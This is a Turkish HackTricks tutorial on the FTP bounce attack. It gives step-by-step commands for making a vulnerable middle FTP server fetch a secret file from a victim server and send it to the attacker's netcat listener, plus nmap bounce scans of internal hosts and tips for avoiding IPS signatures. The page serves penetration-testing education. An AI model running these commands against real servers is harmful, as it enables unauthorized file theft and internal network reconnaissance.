FTP Bounce ile FTP Dosyasının 2. İndirilmesi
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Özet
Eğer bir bounce FTP server’a erişiminiz varsa, onu kimlik bilgilerini bildiğiniz başka bir FTP server’dan dosya istemesi için kullanabilir ve o dosyayı kendi serverınıza indirebilirsiniz.
Gereksinimler
- FTP Middle server üzerinde geçerli FTP kimlik bilgileri
- Victim FTP server üzerinde geçerli FTP kimlik bilgileri
- Her iki server da
PORTcommand’ını kabul etmeli (bounce FTP attack) - FTP Middle server’ın bazı dizinlerine yazma izniniz olmalı
- Middle server, Victim FTP server içinde sizden daha fazla erişime sahip olmalı
Adımlar
- Kendi FTP server’ınıza bağlanın ve bağlantıyı pasif moda (
pasvcommand) alın; böylece Victim service’in dosyayı göndereceği dizinde dinlersiniz. - FTP Middle server’ın Victim server’a göndereceği dosyayı oluşturun (bu exploit script olacaktır). Bu dosya, Victim server’a kimlik doğrulaması yapmak, dizini değiştirmek ve bir dosyayı kendi server’ınıza indirmek için gereken komutları içeren düz metin olmalıdır.
- FTP Middle Server’a bağlanın ve önceki dosyayı yükleyin.
- FTP Middle server’ın Victim server ile bağlantı kurmasını ve exploit dosyasını göndermesini sağlayın.
- Kendi FTP server’ınızda dosyayı yakalayın.
- FTP Middle server’daki exploit dosyasını silin.
Quick check for vulnerable bounce hosts
- Nmap hâlâ FTP bounce kontrollerini destekliyor. Potansiyel bir middle server’ı doğrulamak için örnek:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>
Eğer sunucu üçüncü taraf PORT değerlerini reddederse tarama başarısız olur; bazı gömülü/eski yazıcılar, NAS ve appliance FTP daemons hâlâ buna izin verir.
İkinci FTP indirmesinin otomasyonu
Aşağıda, savunmasız bir orta FTP sunucusu üzerinden bir dosya çekmenin modernize edilmiş bir yolu verilmiştir.
- Saldırı kutunuzda pasif bir dinleyici açın (herhangi bir TCP sink işe yarar):
nc -lvnp 2121 > loot.bin # or run a small pyftpdlib server
-
IP adresinizi
A,B,C,Dolarak ve portuP’yip1,p2olarak not edin (p1 = P/256,p2 = P%256). -
Orta sunucunun mağdur üzerinde oynatacağı talimat dosyasını oluşturun:
cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
- Orta sunucudan yükleyin & tetikleyin (klasik proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
- Dinleyicinizden dosyayı alın (
loot.bin). - Orta sunucuda yüklenen
instrsdosyasını temizleyin.
Notlar:
- Padding (
dd ...) kontrol bağlantısının RETR bitmeden kapanmasını engeller (klasik writeup’larda tartışılan büyük TCP pencere sorunu). - TCP dinleyip dökebilen herhangi bir servis FTP PASV soketinin yerini alabilir (ör.
socat -u TCP-LISTEN:2121,fork - > loot.bin). - Orta sunucu ayrıcalıklı portları kısıtlıyorsa,
PORTiçinde yüksek bir port kullanın ve dinleyicinizi buna göre ayarlayın.
Ek hileler
- Dosya relay’i engellendiğinde bounceable FTP sunucusu kullanarak port-scan internal hosts yapın:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
- Bazı modern WAF/IDS’ler (ör. Juniper IPS) özellikle FTP:EXPLOIT:BOUNCE-ATTACK için imzalar içerir; noisy payloads veya eksik padding bunları tetikleyebilir.
- Orta sunucu “PORT to same host” kısıtlamalarını uygularsa, dinleyicinizi doğrudan orta sunucuda yerleştirin (yazma/çalıştırma erişiminiz varsa) ve yakalanan dosyayı sonradan iletin.
For a more detailed old-school walkthrough check: http://www.ouah.org/ftpbounce.html
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


